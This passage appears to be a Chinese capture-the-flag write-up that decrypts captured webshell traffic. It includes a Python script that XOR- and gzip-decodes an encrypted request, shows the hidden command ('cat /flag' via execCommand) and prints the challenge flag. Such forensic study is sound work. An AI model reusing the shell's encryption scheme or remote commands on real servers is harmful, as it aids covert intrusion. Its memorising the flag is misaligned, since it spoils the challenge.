oQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljMX78f8Wo%2FyhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9%2FGMTU0pI7iA2M2ZQ%3D%3D

72a9c691ccdaab98fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=b4c4e1f6ddd2a488

重要的就是key的值key=fL1tMGI4YTljMX78f8Wo%2FyhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9%2FGMTU0pI7iA2M2ZQ%3D%3D

然后我们根据上面的思路写出解密脚本

import base64
import os

def decode(D,K):
    D = list(D)
    for i in range(len(D)):
        c = K[i+1&15]
        D[i] = D[i]^c
    return bytes(D)

_pass = 'pass'
key = '3c6e0b8a9c15224a'
p='fL1tMGI4YTljMX78f8Wo/yhTh1ICWCl3T2Dlffl9LdSpe0j5qneQcq98UNA0fsVlxxBe14XeR9/GMTU0pI7iA2M2ZQ=='
a = os.popen(r'php -r echo(base64_encode(gzencode("test")));').read()
print(a)

p1 = base64.b64decode(p)
res = decode(p1,key.encode())
r1 = base64.b64encode(res).decode()
r2 = os.popen('php -r \'echo(gzdecode(base64_decode("'+r1+'")));\'').read()
print(r2)

然后key的值我们可以解出来

cmdLine
cat /flag
methodName
          execCommand

下面的返回我们取16个字符后的base64fL1tMGI4YTljMn75e3jOBS5/V31Qd1NxKQMCe3h4KwFQfVAEVworCi0FfgB+BlWZhjRlQuTIIB5jMTU=我们可以解出:

flag{5db5b7b0bb74babb66e1522f3a6b1b12}
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